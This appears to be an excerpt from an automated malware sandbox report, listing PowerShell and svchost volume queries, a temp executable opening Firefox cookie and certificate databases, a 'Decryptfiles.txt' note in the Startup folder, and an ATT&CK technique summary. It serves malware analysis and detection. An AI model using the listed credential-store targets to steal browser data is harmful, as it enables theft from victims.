Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\59bd13a9-8183-4ac7-8723-9621ae6d3748
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6c257ec7-9ee7-4e42-91a6-7d3b50c23b76
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690344.6260e81e-5ef5-4137-a0a5-7930ea6f0a75.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\010cab1b-3626-48b5-9d6b-0e4dfe4db5fa
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\compatibility.ini
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695610.18a05d94-e006-440f-b702-3e398a280dbf.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\f5c2d345-4cad-4c1a-a51d-15d682036066
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\054622d9-6ed7-4f25-87fd-b3a9cd668b65
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\12672553-cb8c-4210-ae02-a59c1a541208
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\c64980e6-c743-4793-ba4a-89f593d4eb16
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\5e0297e1-aa9b-4634-aaf1-cfd1f718b993
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\containers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\b3c274f7-6fd8-4832-989b-74a48f86b6b5
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7b2ddd96-6d27-491a-a7e0-811ed320f1f0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6db12043-3902-4d45-8c5d-d992fbf6d4e7
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690337.3be89113-af2b-4b48-9c47-40ac1156f7a2.new-profile.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\01e461df-d85d-4561-a852-205de2d67f32
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\session-state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690340.2824c836-2afd-4a95-940b-ed2b991ba55d.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7f0194d6-62d6-4174-a7ed-55ebc13aacb4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addons.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\2b167346-5f76-4c00-8f97-19cee0df0fba
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\e6e57dc0-d354-4d4a-8374-548b8e2bcc5d
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695562.2c8e5eea-375d-48a9-ad4c-be583ff1215d.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\data.safe.bin
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7917ce80-55b3-46ca-99c2-70537bbb959a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690347.6786f292-c1be-4996-99cd-77aa855c1844.first-shutdown.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\58b46d46-b146-420f-81af-5b32c19a8aef
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\background-update
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\372e391e-787d-40e8-8beb-44106d6c22f4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\758d1c71-5fff-4193-9977-7a57afa68bf7
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\3b7fc3d4-90d3-48a3-834f-e61d315e9a5c
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\AlternateServices.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\events
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7a27ea16-e265-40c0-823c-0125abf7d855

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	21 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
